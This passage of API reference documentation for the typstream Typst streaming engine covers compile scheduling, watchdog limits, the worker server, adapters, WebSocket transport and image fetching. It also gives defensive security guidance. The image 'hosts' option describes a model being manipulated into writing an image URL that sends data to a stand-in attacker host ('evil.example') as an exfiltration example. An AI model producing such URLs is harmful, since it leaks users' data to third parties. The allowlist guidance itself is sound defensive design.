| --------- | ---------------------------------- | ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| `message` | `(message: ServerMessage) => void` | A message the worker posted.                                                                                                                                                                                                                               |
| `error`   | `(error: unknown) => void`         | The worker failed outside the protocol (an uncaught error, out of memory). The client replaces it.                                                                                                                                                         |
| `lost`    | `(error: unknown) => void`         | The connection dropped (a WebSocket closed): not the document's doing, so unlike EngineEvents.error the compile it was running isn't a watchdog strike. The client opens a new connection and retries what was in flight there. Workers don't report this. |

### Defaults and tuning

#### `ScheduleOptions` and `DEFAULT_SCHEDULE`

How often a document compiles while it streams. Set them for every document (`createEngine({ schedule })`) or one
(`engine.open({ schedule })`, the `schedule` prop).

```ts
const DEFAULT_SCHEDULE: Readonly<ScheduleOptions>; // { minInterval: 33, maxInterval: 500, boundaryBias: true, staleMs: 1500 }
```

### ScheduleOptions

How often a document compiles while it streams.

| Prop           | Type      | Description                                                                                                                                                                                                                                |
| -------------- | --------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ |
| `minInterval`  | `number`  | Shortest time between the starts of two compiles. Default 33 ms (≈ 30 fps).                                                                                                                                                                |
| `maxInterval`  | `number`  | Longest time between them while the document changes. Default 500 ms.                                                                                                                                                                      |
| `boundaryBias` | `boolean` | Compile after `minInterval` instead of the full adaptive interval when heal's `stableOffset` has advanced since the last compile: a line or block just finished, which is a better moment to show than the middle of a word. Default true. |
| `staleMs`      | `number`  | After this long without a good render while streaming, failing compiles fall back to the settled text, with the rest as plain text below it (PLAN §5.6 level 2). Default 1500 ms.                                                          |

#### `WatchdogOptions` and `DEFAULT_WATCHDOG`

```ts
const DEFAULT_WATCHDOG: Readonly<WatchdogOptions>; // { streamingMs: 3000, finalMs: 10000, strikes: 3, probeMs: 5000 }
```

### WatchdogOptions

Watchdog limits (PLAN §6.3).

| Prop          | Type     | Description                                                                                                                                                            |
| ------------- | -------- | ---------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| `streamingMs` | `number` | Budget of a streaming compile. Default 3000 ms.                                                                                                                        |
| `finalMs`     | `number` | Budget of a final compile. Default 10000 ms.                                                                                                                           |
| `strikes`     | `number` | Timeouts or crashes after which a document stops compiling live. Default 3.                                                                                            |
| `probeMs`     | `number` | Budget of each compile that looks for the part of a finished document that hangs or crashes the engine (PLAN §5.6): prefixes of it, the rest skipped. Default 5000 ms. |

#### `LimitOptions` and `DEFAULT_LIMITS`

What a document may cost. Hostile or runaway input stops here instead of loading the main thread (healing) or the
page (pages). See [Security](/docs/guides/security).

```ts
const DEFAULT_LIMITS: Readonly<LimitOptions>; // { maxLength: 1048576, livePages: 100 }
```

### LimitOptions

What a document may cost (PLAN §9). Hostile or runaway input stops here
instead of loading the main thread (healing) or the page (pages).

| Prop        | Type     | Description                                                                                                                                                                                                                   |
| ----------- | -------- | ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| `maxLength` | `number` | The longest input, in UTF-16 code units, that is healed and compiled. Longer input fails with `too-large`: pushes and edits are dropped until `set()` or `reset()` brings it back under the limit. Default 1 MiB (1,048,576). |
| `livePages` | `number` | The most pages a streaming paged compile may have. One with more stops live compiling (`too-complex`), keeping its pages; the finished document compiles in full. Default 100.                                                |

#### `DEFAULT_RECYCLE_BYTES`

```ts
const DEFAULT_RECYCLE_BYTES: number; // 256 MiB
```

The engine memory past which a worker is replaced after a compile (`recycleBytes`). A safety net: the default engine
evicts Typst's caches after every compile and stays flat. `Infinity` disables recycling.

#### `Clock`

The timers the engine uses for scheduling and the watchdog. Defaults to the global `setTimeout`, `clearTimeout` and
`Date.now`; tests pass fake ones.

### Clock

The timers the engine uses for scheduling and the watchdog. Defaults to the
global `setTimeout` / `clearTimeout` and `Date.now`.

| Prop           | Type                                            | Description                                                                         |
| -------------- | ----------------------------------------------- | ----------------------------------------------------------------------------------- |
| `now`          | `() => number`                                  | Milliseconds, monotone enough for intervals.                                        |
| `setTimeout`   | `(callback: () => void, ms: number) => unknown` | Calls `callback` once after `ms` milliseconds; returns a handle for `clearTimeout`. |
| `clearTimeout` | `(handle: unknown) => void`                     | Cancels a pending `setTimeout`.                                                     |

## Server API (`@typstream/engine/server`)

The worker half. Import it in a worker script of your own to load the wasm or fonts from elsewhere, replace the
fixers, or host the engine over another transport. The default worker is one line of it:

```ts title="engine.worker.ts"
import { engineWasm, serve } from "@typstream/engine/server";

serve(engineWasm({ wasm: "https://cdn.example.com/typst-0.15.1.wasm", fonts: ["/fonts/Libertinus.otf"] }));
```

Spawn it with [`fromWorker`](#fromworker). The server keeps each document's text, preamble (evaluated before the
document; diagnostics stay in document coordinates), files and inputs, and sends changed pages only. A wasm trap (a
Typst panic, or out of memory) ends the worker so the client replaces it.

### `serve`

```ts
const serve: (
  adapter: EngineAdapter,
  scope?: WorkerScope,
  options?: Pick<ServerOptions, "fixers" | "packages" | "fontCatalogues" | "generators">,
) => EngineServer;
```

Runs the engine server in this worker, answering the client's messages with `adapter`. `scope` defaults to the
worker's global scope. `options.fixers` replaces the built-in fixers (`[]` turns them off); `options.packages`
configures Typst packages (by default the client's allowlist is used); `options.generators` (beta) are file generators
every document runs, such as `@typstream/mermaid/generator` bundled into your own worker instead of imported by URL.

```ts
serve(engineWasm(), undefined, { fixers: [pendingRef, myFixer, tailCut] });
```

#### `WorkerScope`

### WorkerScope

The parts of a worker's global scope serve uses.

| Prop               | Type                                                                       | Description                                      |
| ------------------ | -------------------------------------------------------------------------- | ------------------------------------------------ |
| `postMessage`      | `(message: unknown) => void`                                               | Sends a message to the client.                   |
| `addEventListener` | `(type: "message", listener: (event: { data: unknown; }) => void) => void` | Messages from the client arrive as `event.data`. |

### `engineWasm`

```ts
const engineWasm: (options?: EngineWasmOptions) => EngineAdapter;
```

The default adapter: [`@typstream/engine-wasm`](/docs/reference/engine-wasm). It targets HTML and paged output
(changed-page SVG) and exports HTML, and PDF when the wasm has it (engine-wasm's own build does). Each document gets
its own compiler state; all share the wasm instance, the fonts and Typst's memoization cache. Lazy fonts are registered
from their metadata; a compile that needs one fetches it and the document recompiles once it arrives.

#### `EngineWasmOptions`

### EngineWasmOptions

How to load engine-wasm.

| Prop         | Type                                                                                      | Description                                                                                                                                                                                                                                                                                                   |
| ------------ | ----------------------------------------------------------------------------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| `wasm?`      | `Promise<InitInput> \| (() => InitInput \| Promise<InitInput>) \| InitInput \| undefined` | The compiler: a URL (fetched and compiled while it streams in), a fetch `Response`, the bytes, or a compiled `WebAssembly.Module`. Default: `engine_bg.wasm` next to engine-wasm's JS, which bundlers emit as an asset. A function is called when the client initializes the worker, and returns one of them. |
| `fonts?`     | `readonly FontInput[] \| undefined`                                                       | Fonts every document gets, in addition to those sent with `initialize`.                                                                                                                                                                                                                                       |
| `lazyFonts?` | `readonly LazyFontInput[] \| undefined`                                                   | Fonts registered at start and downloaded the first time a document uses one, e.g. `extraFonts` and `scriptFonts` from `@typstream/engine-wasm/fonts`. URL fonts with `info` sent with `initialize` join them.                                                                                                 |
| `fontCache?` | `string \| false \| undefined`                                                            | The Cache Storage cache fonts fetched by URL are kept in, so they are downloaded once rather than once per session; `false` fetches every time. Default `"typstream-fonts"`. Ignored where Cache Storage is unavailable.                                                                                      |

#### `FontInput`

```ts
type FontInput = string | URL | Uint8Array;
```

A font: a URL to fetch, or the bytes of a font file (TTF, OTF or TTC).

#### `LazyFontInput`

A font downloaded only when a document uses it, as in `extraFonts` and `scriptFonts` from `@typstream/engine-wasm/fonts`.

### LazyFontInput

A font downloaded only when a document uses it. `info` is engine-wasm's
metadata for the file (`Engine.font_info`), as in `extraFonts` and `scriptFonts` from
`@typstream/engine-wasm/fonts`.

| Prop   | Type            | Description                        |
| ------ | --------------- | ---------------------------------- |
| `url`  | `string \| URL` | Where to fetch the font file from. |
| `info` | `string`        | `Engine.font_info` of that file.   |

#### `TYPST_VERSION`

```ts
const TYPST_VERSION = "0.15.1";
```

The Typst version engine-wasm compiles with.

#### `InitInput`

Re-exported from [`@typstream/engine-wasm`](/docs/reference/engine-wasm): what `wasm` accepts (a URL, a `Response`,
the bytes, or a compiled `WebAssembly.Module`).

### `inProcess` (beta)

```ts
const inProcess: (
  createAdapter: () => EngineAdapter,
  options?: Pick<ServerOptions, "fixers" | "packages" | "fontCatalogues" | "generators" | "clientFixers">,
) => SpawnEngine;
```

<Callout type="warn" title="Beta">
`inProcess` may change before the first stable release.
</Callout>

A `SpawnEngine` that runs the server on the calling thread, for tests and Node. Messages are structured-cloned and
delivered on later tasks, as a worker's would be, but compiles block the thread and `terminate` can't stop one that is
running, so the watchdog can't rescue a runaway document. `createAdapter` is called once per spawn.

```ts title="Node"
import { readFileSync } from "node:fs";
import { createEngine } from "@typstream/engine";
import { engineWasm, inProcess } from "@typstream/engine/server";
import { baseFonts } from "@typstream/engine-wasm/fonts";

// Node's fetch can't read files, so pass the wasm and fonts as bytes.
const wasm = readFileSync(new URL(import.meta.resolve("@typstream/engine-wasm/engine_bg.wasm")));
const fonts = baseFonts.map((url) => new Uint8Array(readFileSync(url)));
const engine = createEngine({ spawn: inProcess(() => engineWasm({ wasm, fonts })), spare: false });
```

For servers, [`@typstream/node`](/docs/reference/node) packages this up.

### `createServer`

```ts
const createServer: (
  adapter: EngineAdapter,
  post: (message: ServerMessage) => void,
  options?: ServerOptions,
) => EngineServer;
```

Creates a server that compiles with `adapter` and answers through `post`. Use `serve` in a worker; this is for other
transports, such as a socket. Feed it the client's messages with `server.receive(message)`. Over a transport that
can't structured-clone, write messages with [`serializeMessage`](/docs/reference/core#serializemessage).

#### `EngineServer`

### EngineServer

The server end of one client connection.

| Prop      | Type                               | Description                                                                               |
| --------- | ---------------------------------- | ----------------------------------------------------------------------------------------- |
| `receive` | `(message: ClientMessage) => void` | A message from the client. Answers go to the `post` function the server was created with. |

#### `ServerOptions`

### ServerOptions

Hooks for the host the server runs in.

| Prop              | Type                                      | Description                                                                                                                                                                                                                                                                                                                                                              |
| ----------------- | ----------------------------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ |
| `onFatal?`        | `((error: unknown) => void) \| undefined` | The compiler failed in a way that may have left it unusable: a wasm trap (a panic in Typst, or out of memory). The request stays unanswered and the server stops; the host should end so the client replaces it (serve rethrows the error in the worker). Without this hook the request is answered `internal`.                                                          |
| `fixers?`         | `readonly DiagnosticFixer[] \| undefined` | Layer 3 diagnostic fixers (PLAN §5.5), tried by priority. Default DEFAULT_FIXERS; `[]` turns them off. Fixers from `initialize`'s and `document/open`'s `fixerModules` join these.                                                                                                                                                                                       |
| `clientFixers?`   | `boolean \| undefined`                    | Import the fixer and file generator modules the client names (`initialize`'s and `document/open`'s `fixerModules`, `document/open`'s `generatorModules`). Default true, for a worker serving its own page. Importing a module runs its code, so a server facing untrusted clients must set false (`@typstream/node` does): their lists are then ignored, with a warning. |
| `generators?`     | `readonly FileGenerator[] \| undefined`   | File generators run for every document (PLAN §8.2), before those of its `generatorModules`: a server that imports no client modules can still offer a plugin's, e.g. `@typstream/mermaid`'s diagrams.                                                                                                                                                                    |
| `packages?`       | `PackageOptions \| undefined`             | Typst packages (PLAN §6.4): the server's own allowlist, whether to take the client's, where packages without a URL come from. Default: only what the client allows.                                                                                                                                                                                                      |
| `fontCatalogues?` | `FontCatalogueOptions \| undefined`       | Font catalogues (PLAN §6.4): the server's own, whether to use the client's. Default: only the client's.                                                                                                                                                                                                                                                                  |

<Callout type="warn" title="Untrusted clients">
A server that accepts connections from clients it doesn't control must set `clientFixers: false`,
`packages: { trustClient: false }` and `fontCatalogues: { trustClient: false }`. Otherwise any client can make it
import code (fixer and file generator modules) or fetch any URL (packages, font catalogues).
[`@typstream/node`](/docs/reference/node) sets all three. A server's own `generators` (`ServerOptions.generators`) still run.
</Callout>

#### `PackageOptions` (beta)

<Callout type="warn" title="Beta">
`PackageOptions` and the `packages` server option are beta.
</Callout>

### PackageOptions

How the server loads Typst packages.

| Prop           | Type                                                | Description                                                                                                                                                                                                                         |
| -------------- | --------------------------------------------------- | ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| `allowlist?`   | `readonly PackageSpec[] \| undefined`               | Packages every document may import, whatever the client sends. Default none.                                                                                                                                                        |
| `trustClient?` | `boolean \| undefined`                              | Also allow the packages the client lists (`initialize`'s and `document/open`'s). Default true: in a browser worker the client is the page. A server facing untrusted clients sets false, or any client could make it fetch any URL. |
| `registry?`    | `string \| undefined`                               | Where packages without a `url` come from: `${registry}/${namespace}/${name}-${version}.tar.gz`, the layout of `https://packages.typst.org`. Default none: such packages fail to load.                                               |
| `cache?`       | `string \| false \| undefined`                      | Cache Storage cache that keeps tarballs across sessions, where there is one. `false` turns it off. Default `"typstream-packages"`.                                                                                                  |
| `fetch?`       | `((url: string) => Promise<Response>) \| undefined` | Fetches a tarball. Default `fetch`.                                                                                                                                                                                                 |

#### `FontCatalogueOptions` (beta)

<Callout type="warn" title="Beta">
`FontCatalogueOptions` and the `fontCatalogues` server option are beta.
</Callout>

The server's font catalogues ([Fonts and languages](/docs/guides/fonts-and-languages#a-catalogue-of-your-own)): the
ones every document loads from, and whether the client's count too. A family whose files add up to more than its
catalogue's `maxBytes` isn't loaded; `DEFAULT_FONT_FAMILY_BYTES` (5 MB) is the limit when a catalogue sets none.

### FontCatalogueOptions

How the server loads families from font catalogues.

| Prop           | Type                                                | Description                                                                                                                                                                                                                         |
| -------------- | --------------------------------------------------- | ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| `catalogues?`  | `readonly FontCatalogue[] \| undefined`             | Catalogues every document loads from, whatever the client sends. Default none.                                                                                                                                                      |
| `trustClient?` | `boolean \| undefined`                              | Also use the catalogues the client lists (`initialize`'s and `document/open`'s). Default true: in a browser worker the client is the page. A server facing untrusted clients sets false, or any client could make it fetch any URL. |
| `fetch?`       | `((url: string) => Promise<Response>) \| undefined` | Fetches an index. Default `fetch`. Font files are the adapter's to fetch.                                                                                                                                                           |

### Fixers

```ts
const DEFAULT_FIXERS: readonly DiagnosticFixer[]; // [pendingRef, missingImage, packageStub, hoistImport, tailCut]
const pendingRef: DiagnosticFixer;
const missingImage: DiagnosticFixer;
const packageStub: DiagnosticFixer;
const hoistImport: DiagnosticFixer;
const tailCut: DiagnosticFixer;
```

The built-in Layer 3 fixers described [above](#fixers-and-fallback), exported so a custom worker can keep some of them
next to its own. Fixers are tried by `priority` (`pendingRef` runs at 10, `missingImage` at 15, `packageStub` at 20,
`hoistImport` at 25, `tailCut`, the catch-all, at 100). Write your own as a [`DiagnosticFixer`](/docs/reference/core#diagnosticfixer).
Leaving `missingImage` out also turns off the placeholders the server stands in before the first compile.

### Writing an adapter

The server keeps documents, revisions, preambles and changed-page bookkeeping; an adapter only holds files and
compiles them. `engineWasm()` is one. Implement `EngineAdapter` to host another Typst build.

#### `EngineAdapter`

### EngineAdapter

A Typst compiler the worker server can host.

| Prop           | Type                                                                                | Description                                                                                                                                                                                                                                                           |
| -------------- | ----------------------------------------------------------------------------------- | --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| `info`         | `{ name: string; version?: string; typstVersion: string; }`                         | Reported in `initialize`'s `serverInfo`.                                                                                                                                                                                                                              |
| `targets`      | `readonly CompileTarget[]`                                                          | What it compiles to; reported in `initialize`'s capabilities.                                                                                                                                                                                                         |
| `exports`      | `readonly ExportFormat[]`                                                           | What `export/*` requests it serves.                                                                                                                                                                                                                                   |
| `init`         | `(options: InitializeOptions) => Promise<void>`                                     | Loads the compiler and its fonts: the adapter's own plus `options.fonts` (from `initialize`). Called once, before anything else.                                                                                                                                      |
| `open`         | `() => AdapterDocument`                                                             | A fresh compiler state for one document.                                                                                                                                                                                                                              |
| `addFonts?`    | `((fonts: readonly (string \| URL \| Uint8Array)[]) => Promise<void>) \| undefined` | Loads font files (URLs to fetch, or bytes) while the server runs, for every document's next compile: the families documents name that a font catalogue has (PLAN §6.4). Rejects if a file can't be loaded. Without it, the server loads nothing from font catalogues. |
| `memoryBytes?` | `(() => number) \| undefined`                                                       | Memory the compiler holds after a compile, for recycling (PLAN §6.3).                                                                                                                                                                                                 |

#### `AdapterDocument`

One document's files and compiler state. Paths are absolute virtual paths; `/main.typ` is the entry point and holds
the document after its preamble.

### AdapterDocument

One document's files and compiler state. Paths are absolute virtual paths;
`/main.typ` is the entry point and holds the document (after its preamble).

| Prop               | Type                                                                                                                                                                                       | Description                                                                                                                                                                                                                                                                                                                                                                         |
| ------------------ | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ | ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| `setFiles`         | `(files: Record<string, FileContent \| null>) => void`                                                                                                                                     | Writes files (strings are UTF-8 text) or, with `null`, deletes them. Throws on a path the adapter can't hold.                                                                                                                                                                                                                                                                       |
| `setInputs`        | `(inputs: Record<string, string>) => void`                                                                                                                                                 | `sys.inputs` for the following compiles.                                                                                                                                                                                                                                                                                                                                            |
| `compileHtml`      | `(options?: AdapterCompileOptions) => MaybePromise<AdapterHtmlResult>`                                                                                                                     | Compiles `/main.typ` to HTML.                                                                                                                                                                                                                                                                                                                                                       |
| `compilePaged`     | `(options: { fullPages: boolean; drawings?: boolean; } & AdapterCompileOptions) => MaybePromise<AdapterPagedResult>`                                                                       | Compiles paged output and returns the pages that changed since the last successful paged compile, or every page with `fullPages` (or the first time). A failed compile keeps what the next one diffs against. With `drawings`, pages may come as `drawing`s for a canvas (core's `PageDrawing`); an adapter without them sends SVG.                                                 |
| `check?`           | `((options: { target: CompileTarget; } & AdapterCompileOptions) => MaybePromise<AdapterCompileResult>) \| undefined`                                                                       | Compiles `/main.typ` for its diagnostics only, as the fallback does to check prefixes of a document (PLAN §5.6). It must leave the baseline that `compilePaged` diffs against alone. Optional: without it the server compiles normally and sends every page with the next paged artifact.                                                                                           |
| `exportPdf?`       | `((options?: AdapterCompileOptions) => MaybePromise<AdapterCompileResult & { pdf: Uint8Array \| null; }>) \| undefined`                                                                    | Compiles paged output to PDF. Only when the adapter's `exports` include `"pdf"`; always `final` mode.                                                                                                                                                                                                                                                                               |
| `exportDocxModel?` | `((options?: AdapterCompileOptions) => MaybePromise<AdapterCompileResult & { model: string \| null; fonts: Uint8Array[]; pictures?: { svg: string; png: Uint8Array; }[]; }>) \| undefined` | Compiles paged output into a DOCX export's document model (engine-wasm's `compile_docx_model`): `model` is `@typstream/docx`'s `DocxModel` as JSON, `fonts` the data of the faces it names and `pictures` the SVG and PNG of the pictures it refers to (#133). The server appends DOCX_MARGIN_PROBE to `/main.typ` first and writes the file. Only when `exports` include `"docx"`. |
| `close`            | `() => void`                                                                                                                                                                               | Frees the document.                                                                                                                                                                                                                                                                                                                                                                 |

#### `AdapterCompileOptions`

How a compile will be used. Adapters may budget or fix differently per mode; engine-wasm ignores it.

| Property | Type | Description |
| --- | --- | --- |
| `mode` | `CompileMode` (`"streaming" \| "final"`), optional | The `compile` request's mode (default `streaming`); exports are `final`. |

#### `AdapterCompileResult`

What every compile returns. Diagnostics are in `/main.typ` coordinates (UTF-16); the server moves them past the
preamble.

### AdapterCompileResult

What every compile returns. Diagnostics are in `/main.typ` coordinates
(UTF-16), in `@typstream/core`'s shape: the server moves them past the
preamble.

| Prop          | Type                         | Description                                                                                                                                                                                                                                                                                       |
| ------------- | ---------------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| `diagnostics` | `Diagnostic[]`               | Errors and warnings; a failed compile has at least one error.                                                                                                                                                                                                                                     |
| `compileMs?`  | `number \| undefined`        | Typst compilation (evaluation + layout).                                                                                                                                                                                                                                                          |
| `exportMs?`   | `number \| undefined`        | Turning the document into HTML, SVG or drawings.                                                                                                                                                                                                                                                  |
| `pending?`    | `Promise<void> \| undefined` | Set when the compile lacked something that is on its way, e.g. a lazily loaded font (it fell back to another font or tofu). Resolves once it has arrived and a compile would look different; rejects if it can't arrive. The server then recompiles the document on its own; exports wait for it. |

#### `AdapterHtmlResult`

### AdapterHtmlResult

`html` is `null` when the compile failed.

| Prop          | Type                         | Description                                                                                                                                                                                                                                                                                       |
| ------------- | ---------------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| `html`        | `string \| null`             | The exported HTML document.                                                                                                                                                                                                                                                                       |
| `diagnostics` | `Diagnostic[]`               | Errors and warnings; a failed compile has at least one error.                                                                                                                                                                                                                                     |
| `compileMs?`  | `number \| undefined`        | Typst compilation (evaluation + layout).                                                                                                                                                                                                                                                          |
| `exportMs?`   | `number \| undefined`        | Turning the document into HTML, SVG or drawings.                                                                                                                                                                                                                                                  |
| `pending?`    | `Promise<void> \| undefined` | Set when the compile lacked something that is on its way, e.g. a lazily loaded font (it fell back to another font or tofu). Resolves once it has arrived and a compile would look different; rejects if it can't arrive. The server then recompiles the document on its own; exports wait for it. |

#### `AdapterPagedResult`

### AdapterPagedResult

`null` when the compile failed. Pages ascending by index.

| Prop          | Type                                                                             | Description                                                                                                                                                                                                                                                                                       |
| ------------- | -------------------------------------------------------------------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| `output`      | `{ pageCount: number; changed: PageUpdate[]; islands?: PagedIsland[]; } \| null` | The document's page count, the pages to send, and every island marker (PLAN §8.4) with `from` in `/main.typ` coordinates (the server moves it past the preamble). Adapters without introspection leave `islands` out.                                                                             |
| `diagnostics` | `Diagnostic[]`                                                                   | Errors and warnings; a failed compile has at least one error.                                                                                                                                                                                                                                     |
| `compileMs?`  | `number \| undefined`                                                            | Typst compilation (evaluation + layout).                                                                                                                                                                                                                                                          |
| `exportMs?`   | `number \| undefined`                                                            | Turning the document into HTML, SVG or drawings.                                                                                                                                                                                                                                                  |
| `pending?`    | `Promise<void> \| undefined`                                                     | Set when the compile lacked something that is on its way, e.g. a lazily loaded font (it fell back to another font or tofu). Resolves once it has arrived and a compile would look different; rejects if it can't arrive. The server then recompiles the document on its own; exports wait for it. |

#### `MaybePromise`

```ts
type MaybePromise<T> = T | Promise<T>;
```

### Paths and coordinates

#### `RUNTIME_PATH`

```ts
const RUNTIME_PATH = "/@typstream/runtime.typ";
```

Where typstream's runtime library is mounted in every document's files: the Typst functions fixes and fallbacks insert
(`pending-ref`, `pending-text`, `error-block`, `missing-package`), imported as `typstream` by compiles the worker
changed. A document's own file at this path replaces it, for example to restyle the placeholders. In HTML they carry
the classes `typstream-pending-ref`, `typstream-pending-text` and `typstream-error-block`.

#### `DOCX_MARGIN_PROBE`

```ts
const DOCX_MARGIN_PROBE: string;
```

Typst source the server appends to a document before a DOCX export. Laid-out pages don't keep their margins, and
Word needs them: it records `page.margin` where the document ends, inside every template's show rule. engine-wasm's
`Engine.docx_margin_probe()` returns the same text. For adapters and custom servers: an adapter that exports DOCX
implements `exportDocxModel`.

#### `PREAMBLE_PATH`

```ts
const PREAMBLE_PATH = "<preamble>";
```

The `Diagnostic.file.path` of problems inside a document's preamble. The preamble isn't a file the document can
import; it is evaluated in front of it.

#### `LAYOUT_PROFILE`

```ts
const LAYOUT_PROFILE: string;
```

The Typst source the server puts in front of every document and its preamble when it compiles pages or exports a PDF: the
[layout profile](/docs/concepts/render-targets#layout-profile) (a constant line pitch, ragged right without
hyphenation, table rows that don't split), so a DOCX export can match the pages. Put it in front of a document you
compile with Typst yourself to get the same pages.

#### `fromMain`

```ts
const fromMain: (d: Diagnostic, offset: number, preambleAt?: number) => Diagnostic;
```

Moves a diagnostic from `/main.typ` (layout profile + preamble + document) into document coordinates, where `offset`
is the length of what precedes the document and `preambleAt` where the preamble starts (after `LAYOUT_PROFILE`, in
paged compiles).
Problems inside the preamble report it as their `file`, with the nearest call site in the document as `span`. For
adapters and custom servers.

### Re-exported types

`EngineConnection`, `EngineEvents`, `SpawnEngine`, `SpawnDefaults` and `WatchdogOptions` (what `inProcess` returns)
are the same types as the main entry's; see [`SpawnEngine`](#spawnengine).

## `@typstream/engine/websocket`

The client's transport to an engine on a server, such as [`@typstream/node`'s](/docs/guides/remote-engine). It is its
own entry point, so apps that compile in a worker don't download it (about 1 KB gzipped).

### `fromWebSocket` (beta)

```ts
const fromWebSocket: (url: string | URL | (() => string | URL), options?: WebSocketOptions) => SpawnEngine;
```

<Callout type="warn" title="Beta">
`fromWebSocket` may change before the first stable release.
</Callout>

A `SpawnEngine` over a WebSocket. Each call opens a connection, which is a session on the server with its own
documents; messages are core's [wire format](/docs/guides/remote-engine#the-wire-format). Pass a function as `url` to
compute it for every connection, to sign each one afresh, say.

```ts
import { createEngine } from "@typstream/engine";
import { fromWebSocket } from "@typstream/engine/websocket";

const engine = createEngine({ spawn: fromWebSocket("wss://typst.example.com/typst") });
```

- **Watchdog.** A compile past its budget closes the connection; the server cancels what the session had queued, and a
  new connection opens. The default budgets (`WEBSOCKET_DEFAULTS`: 10 s streaming, 30 s final and per hang probe) sit
  above the most a `@typstream/node` server takes with its default timeouts (about 4.5 s and 15 s), so the server's own
  timeout answers first and costs one compile, not the session.
- **No spare.** A spare would be a second session per page; with the server's watchdog answering first, replacements
  are rare.
- **Opening.** An attempt to open a connection that fails is retried `retries` times (4), after `retryDelayMs` (500 ms),
  doubled each time. When every attempt fails, the engine fails (an engine `failed` event), or the replacement does.
- **Dropped connections** report `lost`: the engine emits `disconnect`, opens a new connection, documents open
  themselves there, and the compile or export that was running is retried, without a watchdog strike. Three losses in
  a row with requests in flight make the next one a crash (a strike), so a request that drops the connection every time
  (larger than the server's `maxPayload`, say) stops. A connection that closes before it answers `initialize` (a server
  that refuses it) fails the engine rather than reconnecting in a loop.

### WebSocketOptions

Options of fromWebSocket.

| Prop            | Type                                                                                | Description                                                                                         |
| --------------- | ----------------------------------------------------------------------------------- | --------------------------------------------------------------------------------------------------- |
| `protocols?`    | `string \| string[] \| undefined`                                                   | Subprotocols, for the `WebSocket` constructor.                                                      |
| `retries?`      | `number \| undefined`                                                               | Attempts to open a connection after the first fails, before the engine gives up. Default 4.         |
| `retryDelayMs?` | `number \| undefined`                                                               | Wait before the first retry, in ms, doubled for each one after it. Default 500 (0.5 + 1 + 2 + 4 s). |
| `WebSocket?`    | `(new (url: string, protocols?: string \| string[]) => WebSocketLike) \| undefined` | The WebSocket class. Default: the global `WebSocket` (browsers, Node 22+).                          |

`WebSocketLike` is the part of the WHATWG `WebSocket` it uses: `readyState`, `send`, `close`, and `open`, `message` and
`close` events.

## `@typstream/engine/images`

Downloads the image URLs a document names. It is its own entry point, so apps that don't show images from the web
don't download it (about 1 KB gzipped).

### `fetchImages`

```ts
const fetchImages: (options: FetchImagesOptions) => ImageResolver;
```

An `ImageResolver` for `http(s)` URLs from the hosts you allow; other paths are left to the document's files (`null`).
Pass it as a document's `resolveImage`.

```ts
import { fetchImages } from "@typstream/engine/images";

const resolveImage = fetchImages({ hosts: ["upload.wikimedia.org"] });
const doc = engine.open({ resolveImage });
```

- **Hosts** are required: `"example.org"`, `"*.example.org"` (its subdomains) or `"*"`. A URL from another host fails
  with `… isn't an allowed image host`, and nothing is fetched.
- **Requests** go without credentials or referrer. With `proxy`, the URL it returns is fetched instead, with the page's
  credentials: your server can then cache, resize, and reach hosts that don't allow cross-origin requests.
- **Content.** PNG, JPEG, GIF, WebP and SVG, recognised by their bytes, up to `maxBytes` (10 MB) and within
  `timeoutMs` (15 s). Anything else fails with the reason, which the image's diagnostic shows.
- **Caching.** Each URL is downloaded once for every document that asks, for as long as the resolver lives, so create
  one per app. A failed download is tried again by the next document that asks.

#### `FetchImagesOptions`

### FetchImagesOptions

How fetchImages fetches.

| Prop         | Type                                                                   | Description                                                                                                                                                                                                                                                                                                                              |
| ------------ | ---------------------------------------------------------------------- | ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| `hosts`      | `readonly string[]`                                                    | Hosts images may come from: `"upload.wikimedia.org"`, `"*.example.org"` (its subdomains), or `"*"` for any. Required: a model can be talked into writing an image URL that carries what it read to someone else's server (`https://evil.example/?q=<the student's answers>`), and the page fetches it as soon as the string is complete. |
| `proxy?`     | `((url: string) => string) \| undefined`                               | Fetch this URL instead, e.g. the app's own proxy, which can cache, resize and get past hosts that don't allow cross-origin requests: `(url) => "/api/image?url=" + encodeURIComponent(url)`. It's fetched with the page's credentials; images from hosts directly without.                                                               |
| `maxBytes?`  | `number \| undefined`                                                  | Largest image, bytes. Default 10 MB.                                                                                                                                                                                                                                                                                                     |
| `timeoutMs?` | `number \| undefined`                                                  | How long a download may take, ms. Default 15 s.                                                                                                                                                                                                                                                                                          |
| `fetch?`     | `((url: string, init: RequestInit) => Promise<Response>) \| undefined` | Default `fetch`.                                                                                                                                                                                                                                                                                                                         |

#### `ImageResolver`

```ts
type ImageResolver = (
  path: string,
  options: { signal: AbortSignal },
) => Promise<Uint8Array | null | undefined> | Uint8Array | null | undefined;
```

Exported from `@typstream/engine` too. Called once per path and document, once the path's string is complete; `signal`
aborts when the document is disposed. Return `null` to leave the image missing; a throw's message shows in the image's
diagnostic.

## `@typstream/engine/prefetch`

Downloads the default worker's files without starting it. Its own entry point: under 3 KB gzipped, mostly
engine-wasm's font list, which `typstream` already has.

### `prefetchEngine`

```ts
const prefetchEngine: () => Promise<void>;
```

Fetches the wasm (`wasmUrl`) and the base fonts at low priority, and resolves once both are cached; rejects if a
